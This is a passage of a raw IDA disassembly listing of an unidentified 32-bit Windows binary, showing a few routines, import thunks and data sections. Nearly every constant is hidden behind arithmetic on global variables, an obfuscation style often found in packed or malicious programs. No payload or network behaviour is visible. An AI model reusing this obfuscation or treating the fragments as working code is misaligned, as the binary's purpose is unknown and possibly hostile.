sub_446ED7+300j movsx eax, word_5511E8 add eax, 3A91h mov ds:dword_50E92C, eax loc_447202: ; CODE XREF: sub_446ED7+318j push offset sub_445B7F call sub_43EBAF pop ecx or esi, esi jnz short loc_44723B call sub_443843 call sub_446839 call sub_443B74 call sub_43E501 jmp short loc_44723B ; --------------------------------------------------------------------------- loc_447227: ; CODE XREF: sub_446ED7+38Dj lea eax, [ebp+var_1C] push eax call ds:dword_54EB00 lea eax, [ebp+var_1C] push eax call ds:dword_449018 loc_44723B: ; CODE XREF: sub_446ED7+338j ; sub_446ED7+34Ej movsx eax, word_551164 dec eax push eax mov eax, dword_5511B8 sub eax, 4 push eax movsx eax, word_551240 sub eax, 8 push eax lea eax, [ebp+var_1C] push eax call ds:dword_4CC548 or eax, eax jnz short loc_447227 pop edi pop esi pop ebx leave retn 4 sub_446ED7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44726D proc near ; CODE XREF: sub_440A1B+28Cp var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 54h push ebx push esi push edi mov eax, dword_5510B0 add eax, dword_55117C sub eax, 0Bh push eax push [ebp+arg_8] push [ebp+arg_0] call sub_443F06 add esp, 0Ch mov [ebp+var_54], eax test eax, eax jnz loc_44750E push offset dword_551470 call sub_43FEC5 pop ecx push eax call ds:dword_44900C mov [ebp+var_10], eax mov [ebp+var_18], 8 lea eax, [ebp+var_8] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_8] push edi mov edi, [edi] call dword ptr [edi+30h] mov ebx, eax movsx eax, word_5510C4 movsx edx, word_5511C4 add eax, edx sub eax, 0Eh cmp ebx, eax jnz loc_4474F2 lea eax, [ebp+var_40] push eax push offset dword_552A38 mov eax, [ebp+var_8] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_551094 add eax, dword_5511D8 sub eax, 6 cmp ebx, eax jnz loc_4474E9 mov [ebp+var_30], 2 mov eax, dword_55121C movsx edx, word_551240 add eax, edx sub eax, 0Ch mov [ebp+var_28], eax lea eax, [ebp+var_1C] push eax lea esi, [ebp+var_30] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_30] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_40] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax mov eax, dword_551220 sub eax, 2 cmp ebx, eax jnz loc_4474E0 mov eax, dword_55124C sub eax, 9 mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push offset dword_552A48 mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_55120C sub eax, 4 cmp ebx, eax jnz loc_4474D7 inc ds:dword_44B5D0 mov eax, dword_551160 add eax, dword_551200 sub eax, 2 cmp ds:dword_44B5D0, eax jb short loc_4473E9 mov eax, dword_5510F0 add eax, 3 add eax, dword_551248 mov ds:dword_44B5D0, eax push [ebp+var_4] call sub_43E284 pop ecx jmp loc_4474CE ; --------------------------------------------------------------------------- loc_4473E9: ; CODE XREF: sub_44726D+159j movsx eax, word_551194 add eax, dword_55118C sub eax, 2 mov [ebp+var_48], eax lea eax, [ebp+var_50] push eax push ds:dword_44801C call sub_4457E1 mov [ebp+var_34], eax lea eax, [ebp+var_4C] push eax push ds:dword_449FD4 call sub_4457E1 mov [ebp+var_38], eax lea eax, [ebp+var_44] push eax push ds:dword_4CD820 call sub_4457E1 add esp, 18h mov [ebp+var_3C], eax cmp [ebp+var_44], 0 jz short loc_447456 test eax, eax jz short loc_447456 push 43h lea eax, [ebp+var_48] push eax push [ebp+var_4] push [ebp+var_44] push [ebp+var_3C] call sub_44250C add esp, 14h loc_447456: ; CODE XREF: sub_44726D+1CCj ; sub_44726D+1D0j cmp [ebp+var_4C], 0 jz short loc_447479 cmp [ebp+var_38], 0 jz short loc_447479 push 50h lea eax, [ebp+var_48] push eax push [ebp+var_4] push [ebp+var_4C] push [ebp+var_38] call sub_44250C add esp, 14h loc_447479: ; CODE XREF: sub_44726D+1EDj ; sub_44726D+1F3j cmp [ebp+var_50], 0 jz short loc_44749C cmp [ebp+var_34], 0 jz short loc_44749C push 44h lea eax, [ebp+var_48] push eax push [ebp+var_4] push [ebp+var_50] push [ebp+var_34] call sub_44250C add esp, 14h loc_44749C: ; CODE XREF: sub_44726D+210j ; sub_44726D+216j push [ebp+var_38] call ds:dword_44B5CC push [ebp+var_3C] call ds:dword_44B5CC push [ebp+var_34] call ds:dword_44B5CC movsx eax, word_551194 inc eax push eax push [ebp+arg_8] push [ebp+arg_0] call sub_443F06 add esp, 0Ch loc_4474CE: ; CODE XREF: sub_44726D+177j mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_4474D7: ; CODE XREF: sub_44726D+139j mov eax, [ebp+var_1C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4474E0: ; CODE XREF: sub_44726D+106j mov eax, [ebp+var_40] push eax mov esi, [eax] call dword ptr [esi+8] loc_4474E9: ; CODE XREF: sub_44726D+AFj mov eax, [ebp+var_8] push eax mov esi, [eax] call dword ptr [esi+8] loc_4474F2: ; CODE XREF: sub_44726D+7Fj lea eax, [ebp+var_18] push eax call ds:dword_54FF34 mov eax, dword_5511AC add eax, dword_5510A0 sub eax, 5 cmp ebx, eax jz short $+2 loc_44750E: ; CODE XREF: sub_44726D+2Bj pop edi pop esi pop ebx leave retn sub_44726D endp ; =============== S U B R O U T I N E ======================================= sub_447513 proc near ; DATA XREF: .data:005512D8o mov eax, 80004001h retn 10h sub_447513 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_44751C proc near ; CODE XREF: sub_447539+1Ep var_FFC = dword ptr -0FFCh pop ecx loc_44751D: ; CODE XREF: sub_44751C+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_44751D sub esp, eax test [esp+0FFCh+var_FFC], eax push ecx retn sub_44751C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_447539 proc near ; CODE XREF: sub_442B82+3Ap arg_0 = dword ptr 4 pop ecx pop eax add eax, 3 shr eax, 2 shl eax, 2 cmp eax, 1000h jl short loc_447569 mov edx, esp push eax fild [esp-4+arg_0] mov [esp-4+arg_0], ecx fild [esp-4+arg_0] call sub_44751C mov esp, edx push edx fistp dword ptr [esp+0] mov ecx, [esp+0] fistp dword ptr [esp+0] pop eax loc_447569: ; CODE XREF: sub_447539+10j sub esp, eax mov eax, esp mov dword ptr [eax], 0 push ecx push ecx retn sub_447539 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_447578 proc near ; CODE XREF: .text:0043A1BAp ; DATA XREF: .data:off_551000o xor eax, eax inc eax retn 0Ch sub_447578 endp ; --------------------------------------------------------------------------- align 10h push eax fnstcw word ptr [esp] mov eax, [esp] btr dword ptr [esp], 8 or word ptr [esp], 200h ; START OF FUNCTION CHUNK FOR sub_4475A3 loc_447592: ; CODE XREF: sub_4475A3+Dj fldcw word ptr [esp+4+var_4] pop ecx loc_447596: ; CODE XREF: .text:004475A1j mov al, ah and eax, 3 retn ; END OF FUNCTION CHUNK FOR sub_4475A3 ; --------------------------------------------------------------------------- push eax fnstcw word ptr [esp] pop eax jmp short loc_447596 ; =============== S U B R O U T I N E ======================================= sub_4475A3 proc near ; CODE XREF: .text:loc_43A1A7p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00447592 SIZE 0000000A BYTES push eax fnstcw word ptr [esp+4+var_4] mov eax, [esp+4+var_4] or word ptr [esp+4+var_4], 300h jmp short loc_447592 sub_4475A3 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4475B4 proc near ; CODE XREF: sub_43B5D8+8p ; sub_43CDF1+8p ... var_FFC = dword ptr -0FFCh pop ecx loc_4475B5: ; CODE XREF: sub_4475B4+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_4475B5 sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_4475B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4475D4 proc near ; CODE XREF: sub_43A324+280p ; sub_43A324+910p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_4475D4 endp ; --------------------------------------------------------------------------- align 10h jmp dword ptr ds:5530ACh ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44760C proc near ; CODE XREF: sub_43A25C+10p jmp dword ptr ds:5530B0h sub_44760C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447618 proc near ; CODE XREF: sub_43A080+13p jmp dword ptr ds:5530B4h sub_447618 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447624 proc near ; CODE XREF: sub_43A1C3+33p ; sub_43A1C3+45p ... jmp dword ptr ds:5530C0h sub_447624 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447630 proc near ; CODE XREF: sub_43A1C3+Bp ; sub_43A1C3+17p ... jmp dword ptr ds:5530C4h sub_447630 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; --------------------------------------------------------------------------- jmp dword ptr ds:5530C8h ; --------------------------------------------------------------------------- align 8 jmp dword ptr ds:5530CCh ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447654 proc near ; CODE XREF: sub_43A25C+4Ep ; sub_43A25C+87p jmp dword ptr ds:5530D0h sub_447654 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447660 proc near ; CODE XREF: .text:0043A186p jmp dword ptr ds:5530D4h sub_447660 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44766C proc near ; CODE XREF: sub_43A1C3+71p ; sub_43A1C3+86p jmp dword ptr ds:5530D8h sub_44766C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447678 proc near ; CODE XREF: sub_43A25C+9Ep jmp dword ptr ds:5530DCh sub_447678 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 dd 25Fh dup(?) dword_448000 dd ? ; sub_43E7A3+382w dword_448004 dd ? ; sub_445A79+14r ... dword_448008 dd ? ; sub_4424CE+2Ar ... dword_44800C dd ? ; sub_43DE84+1B1r ... dword_448010 dd ? ; sub_43E7A3+F7w dword_448014 dd ? ; sub_43D508+1Er ... dword_448018 dd ? ; sub_43A324+A84r ... dword_44801C dd ? ; sub_44726D+193r dword_448020 dd ? ; sub_445885+BEw dword_448024 dd ? ; sub_445E1B+6Bw dword_448028 dd ? ; sub_440364+21Er dword_44802C dd ? ; sub_43E397+163w ... dword_448030 dd ? ; sub_43E114+10Cw ... dword_448034 dd ? ; sub_43CDF1+BEr ... dword_448038 dd ? ; sub_43E7A3+304w dword_44803C dd ? ; sub_43CDF1+266r ... dword_448040 dd ? ; sub_442FB0+FFr dword_448044 dd ? dword_448048 dd ? ; sub_44496E+17r ... dword_44804C dd ? ; sub_445885+17Ew dword_448050 dd ? dd 3 dup(?) dword_448060 dd ? dd 3E7h dup(?) dword_449000 dd ? dword_449004 dd ? ; sub_4460DD+5Ar ... dword_449008 dd ? ; sub_445885+13Cw dword_44900C dd ? ; sub_442B82+2AFr ... dword_449010 dd ? ; sub_4467F2+3Br dword_449014 dd ? ; sub_443843+16Bw dword_449018 dd ? ; sub_446ED7+35Er dword_44901C dd ? ; sub_443843+267r ... dword_449020 dd ? ; sub_43EE88+157r ... dd 3E7h dup(?) dword_449FC0 dd ? ; sub_445B7F+10Fr dword_449FC4 dd ? ; sub_446839+1Ar ... dword_449FC8 dd ? ; sub_43E501+B9r ... dword_449FCC dd ? ; sub_43FEC5+18r ... dword_449FD0 dd ? ; sub_445A79+39r dword_449FD4 dd ? ; sub_44726D+1A5r dd 2 dup(?) dword_449FE0 dd 40h dup(?) ; sub_44250C+18Co ... dword_44A0E0 dd ? ; sub_43EE88+129r ... dd 3E7h dup(?) dword_44B080 dd ? ; sub_445885+166w dword_44B084 dd ? ; sub_443B74+58r dword_44B088 dd ? ; sub_445B7F+129r dword_44B08C dd ? dword_44B090 dd ? ; sub_446ED7+21Dr dword_44B094 dd ? ; sub_446250+564r dd 2 dup(?) dword_44B0A0 dd 41h dup(?) ; sub_43F41A+105o ... dword_44B1A4 dd ? ; sub_43B5D8+812r ... dword_44B1A8 dd ? dword_44B1AC dd ? ; sub_43DD23+5Ar ... byte_44B1B0 db ? ; DATA XREF: sub_43EE88+A1r ; sub_43EE88+167r ... db 3 dup(?) dd 0F9h dup(?) dword_44B598 dd ? ; sub_43D309+Dr ... dword_44B59C dd ? ; sub_445885+112w dword_44B5A0 dd ? ; sub_445885+127w dword_44B5A4 dd ? dword_44B5A8 dd ? ; sub_4432D8+139r dword_44B5AC dd ? ; sub_43A324+1082r ... dword_44B5B0 dd ? ; sub_43ECB6+19r dword_44B5B4 dd ? ; sub_441B17+72w dword_44B5B8 dd ? ; sub_43D508+19o ... dword_44B5BC dd ? ; sub_43E7A3+3Aw ... dword_44B5C0 dd ? dword_44B5C4 dd ? ; sub_446ED7+2EEw dword_44B5C8 dd ? ; sub_4428C5+51w dword_44B5CC dd ? ; sub_43B5D8+1512r ... dword_44B5D0 dd ? ; sub_43EE88+2Fw ... dword_44B5D4 dd ? ; sub_443B74+78r dd 2 dup(?) dword_44B5E0 dd ? ; sub_445B7F+101w ... dd 0FFh dup(?) dword_44B9E0 dd ? ; sub_4460DD+12Aw ... dd 5187h dup(?) dword_460000 dd 0AE77h dup(?)dword_48B9DC dd ? dword_48B9E0 dd ? dword_48B9E4 dd ? dword_48B9E8 dd ? ; sub_445885+FDw dword_48B9EC dd ? ; sub_43E7A3+25w ... dword_48B9F0 dd ? dword_48B9F4 dd ? ; sub_440CD2+9r dword_48B9F8 dd ? ; sub_43E7A3+2C5w ... dword_48B9FC dd ? ; sub_441D1A+71r ... dword_48BA00 dd ? ; sub_43E114+3Fr ... dd 3 dup(?) word_48BA10 dw ? ; DATA XREF: sub_43EE88:loc_43EF0Er ; sub_43EE88:loc_43EF5Fr ... dw ? dd 1F3h dup(?) dword_48C1E0 dd ? ; sub_443843+64w dword_48C1E4 dd ? ; sub_445885+55w dword_48C1E8 dd ? ; sub_4428C5+21Fw dword_48C1EC dd ? ; sub_4427D3+EBw dword_48C1F0 dd ? ; sub_443843+6Fw dd 3 dup(?) dword_48C200 dd 5 dup(?) ; sub_443843+103o ... dword_48C214 dd ? dword_48C218 dd ? ; sub_43DD23+3Dr ... dword_48C21C dd ? ; sub_43E7A3+1F3w dword_48C220 dd ? ; sub_4460DD+C6r ... dd 0F7Eh dup(?) dword_49001C dd 0F080h dup(?)dword_4CC21C dd ? dword_4CC220 dd ? ; sub_43A324+A6Dr ... dword_4CC224 dd ? ; sub_44496E+39r ... dword_4CC228 dd ? ; sub_43E501+81r ... dd ? dword_4CC230 dd 80h dup(?) ; sub_43DD8A+4Fo ... dword_4CC430 dd ? ; sub_43E7A3+29Bw ... dd 3 dup(?) dword_4CC440 dd 41h dup(?) ; sub_440F1C+13o ... dword_4CC544 dd ? ; sub_43E7A3+136w dword_4CC548 dd ? ; sub_446ED7+385r dd ? dword_4CC550 dd ? ; sub_43A324+3D3r ... dword_4CC554 dd ? ; sub_43A324+4C9r ... dword_4CC558 dd ? ; sub_43A324+65Dr ... dword_4CC55C dd ? ; sub_43A324+990r ... dword_4CC560 dd ? ; sub_43A324+C92r ... dword_4CC564 dd ? ; sub_43A324+CFAr ... dword_4CC568 dd ? ; sub_43A324+E0Cr ... dword_4CC56C dd ? ; sub_43A324+FDBr ... dword_4CC570 dd ? ; sub_441D1A+68Ar dword_4CC574 dd ? ; sub_441D1A+6BEr dword_4CC578 dd ? ; sub_441D1A+653r dword_4CC57C dd ? ; sub_441D1A+61Cr dd 4A4h dup(?) dword_4CD810 dd ? ; sub_43E7A3+25Cw dword_4CD814 dd ? ; sub_43B5D8+733r ... dword_4CD818 dd ? dword_4CD81C dd ? ; sub_445885+94w dword_4CD820 dd ? ; sub_44726D+1B7r dd 3 dup(?) dword_4CD830 dd 41h dup(?) ; sub_440F1C+2Bo ... dword_4CD934 dd ? ; sub_43B5D8+CB8r ... dword_4CD938 dd ? ; sub_43E7A3+232w dword_4CD93C dd ? ; sub_43A324+6CBr ... dword_4CD940 dd ? ; sub_43FEC5+EEr ... dword_4CD944 dd ? ; sub_442FB0+241r dword_4CD948 dd ? ; sub_43B5D8+14CEr ... dd ? dword_4CD950 dd ? ; sub_443F06+48Er ... dd 3E7h dup(?) dword_4CE8F0 dd ? dword_4CE8F4 dd ? dword_4CE8F8 dd ? ; sub_441D1A+65Ar ... dword_4CE8FC dd ? ; sub_446ED7+2F9w dword_4CE900 dd ? ; sub_43ECB6+6Ar ... dword_4CE904 dd ? ; sub_445885+7Fw dword_4CE908 dd ? ; sub_446ED7+FFr ... dword_4CE90C dd ? ; sub_440CD2+148r ... dword_4CE910 dd ? ; sub_43E7A3+21Dw ... dword_4CE914 dd ? ; sub_43A324+1054r ... dword_4CE918 dd ? ; sub_442FB0:loc_443104r dd ? dword_4CE920 dd ? ; sub_4460DD+D4r ... dd 0FFFEh dup(?) dword_50E91C dd ? ; sub_44496E+E08r dword_50E920 dd ? ; sub_446ED7+18Er dword_50E924 dd ? ; sub_43DE1F+54r ... dword_50E928 dd ? ; sub_43A324+C64r ... dword_50E92C dd ? ; sub_446ED7+313w ... dword_50E930 dd ? ; sub_4428C5+A5w ... dword_50E934 dd ? ; sub_442B82+289r dword_50E938 dd ? ; sub_441D1A+2E9r ... dword_50E93C dd ? ; sub_43B556+32r ... dword_50E940 dd ? ; sub_43E397+79w dd 3 dup(?) dword_50E950 dd ? ; sub_4460DD+131w ... dd 0FFFEh dup(?) dword_54E94C dd ? ; sub_445B7F+8Cr dword_54E950 dd ? ; sub_4428C5+18Cw dword_54E954 dd ? ; sub_4428C5+20Aw dword_54E958 dd ? ; sub_441D1A+5B9r ... dword_54E95C dd ? ; sub_43FEC5+79r ... dword_54E960 dd ? ; sub_43E7A3+2DAw ... dword_54E964 dd ? ; sub_44077A+93r ... dword_54E968 dd ? ; sub_43FA48+2Dr ... dd ? dword_54E970 dd 40h dup(?) ; sub_443843+17Bo ... dword_54EA70 dd ? ; sub_44250C+9r ... dword_54EA74 dd ? ; sub_443522+217w ... dword_54EA78 dd ? ; sub_43E7A3+160w ... dd ? dword_54EA80 dd ? ; sub_443522+C7w ... dd 8 dup(?) dword_54EAA4 dd ? dword_54EAA8 dd ? dd ? dword_54EAB0 dd ? ; sub_443522+19Cw dd ? dword_54EAB8 dd ? ; sub_443522+15Dw dd ? dword_54EAC0 dd ? ; sub_443522+43w ... dd 2 dup(?) dword_54EACC dd ? dd 3 dup(?) dword_54EADC dd ? dd 3 dup(?) dword_54EAEC dd ? dd ? dword_54EAF4 dd ? dword_54EAF8 dd ? dd ? dword_54EB00 dd ? ; sub_446ED7+354r dd 3 dup(?) byte_54EB10 db ? ; DATA XREF: sub_43E501+F8w ; sub_43E501+135o ... db 3 dup(?) dd 3FFh dup(?) dword_54FB10 dd ? ; sub_43E7A3+E2w ... dword_54FB14 dd ? ; sub_441803+Er ... dword_54FB18 dd ? ; sub_43B5D8+149Ar ... dword_54FB1C dd ? ; sub_4460DD+9Dr ... dword_54FB20 dd ? ; sub_445B7F+6Br ... dd 0FEh dup(?) dword_54FF1C dd ? ; sub_43DD8A+85r ... dword_54FF20 dd ? ; sub_43EBAF+3Ar ... dd ? dword_54FF28 dd ? ; sub_44322A+28r ... dword_54FF2C dd ? ; sub_440CD2+39r dword_54FF30 dd ? ; sub_43F41A+1EDr ... dword_54FF34 dd ? ; sub_442B82+2D4r ... dword_54FF38 dd ? ; sub_441D1A+13Cr ... dword_54FF3C dd ? ; sub_43B53F+Er ... byte_54FF40 db ? ; DATA XREF: sub_43F98E:loc_43FA07r ; sub_442E73+44o db 3 dup(?) dd 3Fh dup(?) dword_550040 dd ? ; sub_43B5D8+894r ... dword_550044 dd ? ; sub_446E05+90w dword_550048 dd ? dd ? dword_550050 dd 6Ch dup(?) ; sub_43CAF7+60o ... _text ends ; Section 5. (virtual address 00151000) ; Virtual size : 00001C00 ( 7168.) ; Section size in file : 00001C00 ( 7168.) ; Offset to raw data for section: 00023200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 551000h off_551000 dd offset sub_447578 ; DATA XREF: .text:0043A1B5r dword_551004 dd 0 ; sub_43A1C3+64r dword_551008 dd 0 dword_55100C dd 0 ; sub_43A1C3:loc_43A23Cr dword_551010 dd 0 align 8 dd 7325h aWr: ; DATA XREF: sub_43A1C3+3Do ; sub_43A1C3+4Fo ... unicode 0, <wr>,0 align 4 dd 4 dup(0) dword_551034 dd 0 dword_551038 dd 0 ; .text:0043A117r ... dword_55103C dd 0 dword_551040 dd 14h dup(0) ; .text:0043A11Fo dword_551090 dd 4 ; sub_43A324+1F1r ... word_551094 dw 2 ; DATA XREF: sub_43A324:loc_43A384r ; sub_43B5D8+1BAr ... align 4 dword_551098 dd 9 ; sub_43A324+BD1r ... word_55109C dw 6 ; DATA XREF: sub_43DE84+145r ; sub_440364+244r ... align 10h dword_5510A0 dd 3 ; sub_43A324+853r ... dword_5510A4 dd 7 ; sub_43A324+9F9r ... word_5510A8 dw 0 ; DATA XREF: sub_43A324+178r ; sub_43B5D8+1255r ... align 4 dword_5510AC dd 7 ; sub_43A324+42Cr ... dword_5510B0 dd 5 ; sub_43ECB6+2Cr ... word_5510B4 dw 5 ; DATA XREF: sub_43A324+1AEr ; sub_43B5D8+C28r ... align 4 dword_5510B8 dd 4 ; sub_43B5D8+A93r ... dword_5510BC dd 0 ; sub_43A324+7E4r ... dword_5510C0 dd 2 ; sub_43B5D8+9A9r ... word_5510C4 dw 6 ; DATA XREF: sub_43A324+138r ; sub_43A324+306r ... align 4 dword_5510C8 dd 1 ; sub_43A324+2D9r ... word_5510CC dw 1 ; DATA XREF: sub_43A324+343r ; sub_43A324+A5Ar ... align 10h word_5510D0 dw 6 ; DATA XREF: sub_43B46B+2Fr ; sub_43B5D8+18Fr ... align 4 dword_5510D4 dd 5 ; sub_43A324+E4Fr ... dword_5510D8 dd 6 ; sub_43A324+EBDr ... dword_5510DC dd 4 ; sub_43F090+2BEr ... dword_5510E0 dd 6 ; sub_43A324+A64r ... dword_5510E4 dd 5 ; sub_43CBE6+90r ... dword_5510E8 dd 1 ; sub_43CDF1+226r ... dword_5510EC dd 1 ; sub_43B5D8+831r ... dword_5510F0 dd 3 ; sub_43B5D8+6F0r ... word_5510F4 dw 2 ; DATA XREF: sub_43A324+377r ; sub_43B5D8+EBFr ... align 4 word_5510F8 dw 5 ; DATA XREF: sub_43A324+5FAr ; sub_43A324+6C0r ... align 4 word_5510FC dw 2 ; DATA XREF: sub_43A324+692r ; sub_43A324+6FDr ... align 10h dword_551100 dd 9 ; sub_43D3AD+B0r ... word_551104 dw 0 ; DATA XREF: sub_43A324+756r ; sub_43B5D8+8CFr ... align 4 dword_551108 dd 8 ; sub_43CDF1+11Fr ... dword_55110C dd 2 ; sub_43A324+B03r ... dword_551110 dd 9 ; sub_43B5D8+126Cr ... dword_551114 dd 1 ; sub_43D0C6:loc_43D120r ... word_551118 dw 8 ; DATA XREF: sub_43A324+B7Br ; sub_43CBE6+1CEr ... align 4 dword_55111C dd 2 ; sub_43A324+C76r ... dword_551120 dd 8 ; sub_43A324+A49r ... dword_551124 dd 2 ; sub_43A324+EA3r ... word_551128 dw 5 ; DATA XREF: sub_43A324+1C8r ; sub_43A324+2ABr ... align 4 dword_55112C dd 8 ; sub_43B5D8+4EDr ... dword_551130 dd 1 ; sub_43A324+F17r ... dword_551134 dd 2 ; sub_43B5D8+4BFr ... word_551138 dw 3 ; DATA XREF: sub_43A324:loc_43A70Fr ; sub_43A324+664r ... align 4 word_55113C dw 9 ; DATA XREF: sub_43A324+18Cr ; sub_43A324+54Dr ... align 10h dword_551140 dd 1 ; sub_43A324+3BFr ... word_551144 dw 4 ; DATA XREF: sub_43A324+10Ar ; sub_43A324+24Er ... align 4 word_551148 dw 1 ; DATA XREF: sub_43A324+687r ; sub_43A324+710r ... align 4 dword_55114C dd 2 ; sub_43B5D8+81Er ... dword_551150 dd 4 ; sub_43B5D8+1155r ... dword_551154 dd 8 ; sub_43A324+327r ... dword_551158 dd 3 ; sub_43A324+B0Dr ... dword_55115C dd 4 ; sub_43DE84+ECr ... dword_551160 dd 7 ; sub_43A324+B8Er ... word_551164 dw 1 ; DATA XREF: sub_43A324+A3Br ; sub_43B5D8:loc_43C174r ... align 4 dword_551168 dd 2 ; sub_43A324+E39r ... dword_55116C dd 5 ; sub_43B5D8+28Br ... dword_551170 dd 4 ; sub_43A324:loc_43A625r ... dword_551174 dd 7 ; sub_43A324+7DAr ... dword_551178 dd 9 ; sub_43D0C6:loc_43D0DDr ... dword_55117C dd 7 ; sub_43A324+C71r ... dword_551180 dd 0 ; sub_43A324+C2Fr ... dword_551184 dd 4 ; sub_43B5D8+5C2r ... dword_551188 dd 5 ; sub_43B5D8+163r ... dword_55118C dd 1 ; sub_43B5D8+925r ... word_551190 dw 8 ; DATA XREF: sub_43A324+F64r ; sub_43B5D8+590r ... align 4 word_551194 dw 1 ; DATA XREF: sub_43A324+519r ; sub_43A324+BE1r ... align 4 word_551198 dw 1 ; DATA XREF: sub_43A324+1F9r ; sub_43A324:loc_43A671r ... align 4 dword_55119C dd 4 ; sub_43A324+7C5r ... dword_5511A0 dd 8 ; sub_43B5D8+11EDr ... word_5511A4 dw 6 ; DATA XREF: sub_43A324:loc_43A701r ; sub_43A324+9A7r ... align 4 word_5511A8 dw 0 ; DATA XREF: sub_43A324+D15r ; sub_43B5D8+56r ... align 4 dword_5511AC dd 2 ; sub_43A324+233r ... dword_5511B0 dd 7 ; sub_43B5D8+E54r ... dword_5511B4 dd 4 ; sub_43B556:loc_43B5C2r ... dword_5511B8 dd 4 ; sub_43D76D+14Br ... dword_5511BC dd 6 ; sub_43A324+AF8r ... dword_5511C0 dd 1 ; sub_43A324+B75r ... word_5511C4 dw 8 ; DATA XREF: sub_43A324+432r ; sub_43A324+9F2r ... align 4 dword_5511C8 dd 8 ; sub_43CAF7+C1r ... word_5511CC dw 9 ; DATA XREF: sub_43A324+717r ; sub_43A324+AF1r ... align 10h dword_5511D0 dd 7 ; sub_43D0C6+73r ... dword_5511D4 dd 8 ; sub_43A324+997r ... dword_5511D8 dd 4 ; sub_43B5D8+11DDr ... dword_5511DC dd 0 ; sub_43A324+E49r ... dword_5511E0 dd 4 ; sub_43A324+59Er ... dword_5511E4 dd 4 ; sub_43A324+899r ... word_5511E8 dw 7 ; DATA XREF: sub_43A324+AC1r ; sub_43B5D8+F69r ... align 4 dword_5511EC dd 3 ; sub_43B5D8+12DDr ... word_5511F0 dw 6 ; DATA XREF: sub_43A324+520r ; sub_43CBE6+D4r ... align 4 dword_5511F4 dd 9 ; sub_43B5D8+296r ... dword_5511F8 dd 3 ; sub_43B5D8+93Ar ... dword_5511FC dd 0 ; sub_43A324+2C6r ... dword_551200 dd 5 ; sub_43A324+BC1r ... dword_551204 dd 2 ; sub_43A324+7BBr ... word_551208 dw 1 ; DATA XREF: sub_43A324+F4r ; sub_43A324+CD4r ... align 4 dword_55120C dd 4 ; sub_43A324+8E8r ... word_551210 dw 5 ; DATA XREF: sub_43A324+238r ; sub_43A324+440r ... align 4 dword_551214 dd 3 ; sub_43A324+886r ... word_551218 dw 0 ; DATA XREF: sub_43A324+193r ; sub_43E284+F3r ... align 4 dword_55121C dd 4 ; sub_43E114+C0r ... dword_551220 dd 2 ; sub_43A324+630r ... dword_551224 dd 1 ; sub_43D535+8Ar ... dword_551228 dd 8 ; sub_43A324+7A9r ... dword_55122C dd 7 ; sub_43A324+BCAr ... dword_551230 dd 1 ; sub_43A324+F47r ... dword_551234 dd 8 ; sub_43A324+8BAr ... dword_551238 dd 0 ; sub_43A324+3AAr ... dword_55123C dd 0 ; sub_43B5D8+11C6r ... word_551240 dw 8 ; DATA XREF: sub_43A324+ABAr ; sub_43B5D8+1032r ... align 4 word_551244 dw 7 ; DATA XREF: sub_43B5D8+B63r ; sub_43B5D8+12B9r ... align 4 dword_551248 dd 4 ; sub_43B5D8+51r ... dword_55124C dd 9 ; 